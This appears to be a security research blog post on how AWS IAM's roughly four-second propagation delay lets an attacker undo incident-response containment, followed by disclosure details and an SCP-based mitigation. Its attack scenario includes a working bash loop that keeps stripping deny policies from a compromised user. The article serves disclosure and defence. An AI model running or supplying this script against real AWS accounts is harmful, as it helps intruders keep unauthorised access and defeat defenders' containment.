Skip to content

Article by Eduard Agavriloae

IAM Persistence through Eventual Consistency

AWS IAM is a distributed system that works via eventual consistency. Changes made to IAM, such as creating or deleting credentials, propagate across AWS's distributed infrastructure with a measurable delay. This delay creates a window of opportunity where deleted credentials or revoked permissions remain temporarily valid.

The problem is that the control plane reflects changes instantly whereas authorization enforcement has a delay of ~4 seconds. This allows attackers to detect containment attempts and nullify them.

This technique exploits that window to maintain persistence during incident response. When a defender applies containment measures—such as attaching a deny-all policy, revoking session tokens, disabling or deleting access keys, or applying permission boundaries to users or roles—there is approximately a 4-second window where those changes have not fully propagated. An attacker monitoring for containment actions can use this window to perform additional API calls, including creating or modifying resources, before the restrictions take effect.

Attack Scenario

Consider a scenario where a defender identifies compromised credentials belonging to the user bob and attempts containment by attaching a deny-all policy:

T+0s: The defender attaches a deny-all inline policy to block all actions.

aws iam put-user-policy --user-name bob --policy-name DenyAllActions --policy-document '{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*"
    }
  ]
}'

T+1-3s: During the propagation window, the attacker detects the new policy and removes it before it takes effect.

#!/bin/bash
USERNAME="bob"
while true; do
  # Remove any inline policies
  for policy in $(aws iam list-user-policies --user-name $USERNAME --query 'PolicyNames' --output text); do
    aws iam delete-user-policy --user-name $USERNAME --policy-name $policy
  done
  # Remove any attached managed policies except AdministratorAccess
  for policy_arn in $(aws iam list-attached-user-policies --user-name $USERNAME --query 'AttachedPolicies[].PolicyArn' --output text); do
    if [[ "$policy_arn" != *"AdministratorAccess"* ]]; then
      aws iam detach-user-policy --user-name $USERNAME --policy-arn $policy_arn
    fi
  done
  sleep 1
done

T+4s: IAM propagation completes, but the deny-all policy no longer exists. The attacker retains full access to the compromised credentials.

The attacker has successfully defeated the containment measure and maintained access.

Affected IAM Operations

Other IAM operations vulnerable to this eventual consistency issue:

  • Policy attachment and detachment
  • Role assumption permissions
  • Role creation and deletion
  • Login profile changes
  • Group membership modifications
  • Permission boundary changes

AWS Disclosure

This issue was reported to AWS. At the time of writing, the only scenario that has been addressed is using a deleted set of access keys to create a new set of access keys—this is no longer possible. All other eventual consistency behaviors described above remain exploitable.

Mitigation

Standard IAM policies are ineffective against this technique because they are subject to the same eventual consistency model. The recommended mitigation is to use Service Control Policies (SCPs) through AWS Organizations.

SCPs operate at the organization level and are evaluated differently than IAM policies. Since the attacker does not have control over SCPs, applying a restrictive SCP will immediately block the compromised principal's ability to perform actions, regardless of IAM's propagation delay.

To effectively respond to compromised credentials:

  1. Apply an SCP that denies all actions for the compromised principal
  2. Then proceed with standard IAM remediation (delete access keys, revoke sessions, etc.)

This ensures the attacker cannot exploit the eventual consistency window to maintain access.